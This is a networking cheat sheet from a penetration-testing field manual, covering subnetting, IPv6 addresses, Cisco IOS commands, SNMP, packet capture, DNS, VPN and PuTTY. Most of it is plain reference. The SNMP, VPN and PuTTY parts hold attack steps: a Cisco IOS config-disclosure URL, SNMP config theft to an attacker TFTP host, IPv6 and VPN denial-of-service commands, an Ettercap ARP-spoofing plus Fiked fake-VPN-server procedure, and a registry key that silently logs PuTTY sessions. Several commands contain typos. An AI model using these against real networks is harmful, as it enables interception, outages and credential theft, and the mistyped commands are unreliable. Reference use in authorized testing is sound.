RTFM Networking

(last edited: 08/11/2019) - IPv4 - IPv6 - Cisco Commands - SNMP - Packet Capturing - DNS - VPN - Putty

IPv4

CLASSFUL IP RANGES

A0.0.0.0 - 127.255.255.255
B128.0.0.0 - 191.255.255.255
C192.0.0.0 - 223.255.255.255
D224.0.0.0 - 239.255.255.255
E240.0.0.0 - 255.255.255.255

RESERVED RANGES

10.0.0.0 - 10.255.255.255
127.0.0.0 - 127.255.255.255 
172.16.0.0 - 172.31.255.255 
192.168.0.0 - 192.168.255.255

SUBNETTING

/31255.255.255.2541 Host
/30255.255.255.2522 Hosts
/29255.255.255.2486 Hosts
/28255.255.255.24014 Hosts
/27255.255.255.22430 Hosts
/26255.255.255.19262 Hosts
/25255.255.255.128126 Hosts
/24255.255.255.0254 Hosts
/23255.255.254.0510 Hosts
/22255.255.252.01,022 Hosts
/21255.255.248.02,046 Hosts
/20255.255.240.04,094 Hosts
/19255.255.224.08,190 Hosts
/18255.255.192.016,382 Hosts
/17255.255.128.032,766 Hosts
/16255.255.0.065,534 Hosts
/15255.254.0.0131,070 Hosts
/14255.252.0.0262,142 Hosts
/13255.248.0.0524,286 Hosts
/12255.240.0.01,048,574 Hosts
/11255.224.0.02,097,150 Hosts
/10255.192.0.04,194,302 Hosts
/9255.128.0.08,388,606 Hosts
/8255.0.0.016,777,214 Hosts

CALCULATING SUBNET RANGE

Given: 1.1.1.101/28 
✓ /28 = 255.255.255.240 netmask 
✓ 256 - 240 = 16 = subnet ranges of 16, i.e. 
  1.1.1.0 
1.1.1.16
1.1.1.32...
✓ Range where given 12 falls: 1.1.1.96 - 1.1.1.111
Top - Home


IPv6

BROADCAST ADDRESSES

ff02::1 - link-local nodes
ff05::1 - site-local nodes
ff01::2 - node-local routers
ff02::2 - link-local routers
ff05::2 - site-local routers

INTERFACE ADDRESSES

fe80:: - link-local 
2001:: - routable 

::a.b.c.d - IPv4 compatible IPv6 
::ffff:a.b.c.d - IPv4 mapped IPv6 

THC IPv6 TOOLKIT

Remote Network DoS: 
> rsumrf6 eth# <remote ipv6> 

SOCAT TUNNEL IPv6 THROUGH IPv4 TOOLS

> socat TCP-LISTEN:8080,reuseaddr,fork TCP6:[2001::]:80
> ./nikto.pl -host 127.0.0.1 -port 8080 
Top - Home


Cisco Commands

>enableEnter privilege mode
#configure terminalConfigure interface
(config)#interface fa0/0Configure FastEthernet 0/0
(config-if)#ip addr 1.1.1.1 255.255.255.0Add IP to fa0/0
(config)#line vty 0 4Configure vty line
(config-line)#login1. Set telnet password
(config-line)#password <password>2. Set telnet password
#show sessionOpen sessions
#show versionIOS version
#dir file systemsAvailable files
#dir all-filesystemsFile information
#dir /allDeleted files
#show running-configConfig loaded in mem
#show startup-configConfig loaded at boot
#show ip interface briefInterfaces
#show interface e0Detailed interface info
#show ip routeRoutes
#show access-listsAccess lists
#terminal length 0No limit on output
#copy running-config startup-configReplace run w/ start config
#copy running-config tftpCopy run config to TFTP Svr

Cisco IOS 11.2-12.2 VULNERABILITY

http://<ip>/level/<16-99>/exec/show/config 
Top - Home


SNMP

MUST START TFTP SERVER 1ST

./snmpblow.pl -s <srcipt> -d <rtr_ip> -t <attackerip> -f out.txt < snmpstrings.txt 

WINDOWS RUNNING SERVICES:

> snmpwalk -c public -v1 <ip> 1 |grep hrSWRunName Icut -d" " -f4 

WINDOWS OPEN TCP PORTS :

> smpwalk ... |grep tcpConnState |cut -d" " -f6 |sort -u

WINDOWS INSTALLED SOFTWARE :

> smpwalk ... |grep hrSWlnstalledName 

WINDOWS USERS :

> snmpwalk ... <ip> 1.3 |grep 77.1.2.25 -f4 
Top - Home


Packet Capturing

CAPTURE TCP TRAFFIC ON PORT 22-23

> tcpdump -nvvX -s0 -i eth0 tcp portrange 22-23 

CAPTURE TRAFFIC TO SPECIFIC IP EXCLUDING SPECIFIC SUBNET

> tcpdump -I eth0 -tttt dst <ip> and not net 1.1.1.0/24 

CAPTURE TRAFFIC B/W LOCAL-192.1

> tcpdump net 192.1.1 

CAPTURE TRAFFIC FOR <SEC> SECONDS

> dumpcap -I eth0 -a duration:<sec> -w file <file.pcap> 

REPLAY PCAP

> file2cable eth0 -f file.pcap 

REPLAY PACKETS (FUZZ I DOS)

> tcpreplay --topspeed --loop=0 --intf=eth0 <.pcap_file_to_replay> -- mbps=10|100|1000
Top - Home


DNS

DNSRECON

Reverse lookup for IP range: 
./dnsrecon.rb -t rvs -i 192.1.1.1,192.1.1.20 

Retrieve standard DNS records: 
./dnsrecon.rb -t std -d domain.com 

Enumerate subdomains: 
./dnsrecon.rb -t brt -d domain.com -w hosts.txt

DNS zone transfer: 
./dnsrecon -d domain.com -t axfr 

NMAP REVERSE DNS LOOKUP AND OUTPUT PARSER

nmap -R -sL -Pn -dns-servers <dns svr ip> <range> | awk '{if(($1" "$2" "$3)=="Nmap scan 
report")print$5" "$6}' | sed 's/(//g' | sed 's/)//g' > dns.txt
Top - Home


VPN

WRITE PSK TO FILE

> ike-scan -M -A <vpn ip> -P<file>

DoS VPN SERVER

> ike-scan -A -t 1 --sourceip=<spoof_ip> <dst_ip>

FIKED - FAKE VPN SERVER

✓ Must know the VPN group name and pre-shared key 

1. 
Ettercap filter to drop IPSEC traffic (UDP port 500) 
if(ip.proto == UDP && udp.src == 500){
   kill(); 
   drop(); 
   msg("*****UDP packet dropped*****"); 
}

2. <
Compile filter 
> etterfilter udpdrop.filter -o udpdrop.ef 

3. 
Start Ettercap and drop all IPSEC traffic 
#ettercap -T -q -M arp -F udpdrop.ef // //

4. 
Enable IP Forward 
> echo "1" > /proc/sys/net/ipv4/ip_forward 

5. 
Configure IPtables to port forward to Fiked server
> iptables -t nat -A PREROUTING -p udp -I eth0 -d <VPN Server 1p> 
DNAT - - to <Attacking Host IP>
> iptables -P FORWARD ACCEPT

6. 
Start Fiked to impersonate the VPN Server 
> fiked - g <vpn gateway ip> - k <VPN Group Name:Group Pre-Shared Key> 

7.
Stop Ettercap 

8. 
Restart Ettercap without the filter
> ettercap -T -M arp // //
Top - Home


Putty

REG KEY TO HAVE PUTTY LOG EVERYTHING ( INCLUDING CONVERSATIONS)

[HKEY_CURRENT_USER\Software\SimonTatham\Putty\Sessions\Default%20Settings] 
"LogFileName"="%TEMP%\putty.dat"
"LogType"=dword:00000002" 
Top - Home